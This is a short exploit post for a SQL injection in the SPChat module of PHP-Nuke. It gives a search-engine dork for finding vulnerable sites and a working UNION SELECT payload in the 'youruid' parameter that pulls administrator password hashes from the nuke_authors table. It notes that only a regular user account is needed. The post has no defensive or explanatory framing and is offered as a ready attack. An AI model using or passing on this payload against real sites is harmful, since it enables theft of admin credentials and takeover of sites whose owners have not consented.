PHP-Nuke SPChat SQL Injection

`## Owner : Pr0T3cT10n  
## Script site : http://www.phpnuke.org  
## Script name : PHP-Nuke module(SPChat)  
## Version : All  
## Type : SQL Injection  
## D0rk : inurl:name=SPChat  
  
## Description :  
## Pull out user details from the database  
  
## Vuln :  
## http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=[SQL Injection]  
## http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=0+UNION+SELECT+pwd,2,3,4,5,6,7,8+FROM+nuke_authors+LIMIT+0,1  
  
## NOTE :  
## You need to be a regular user  
  
`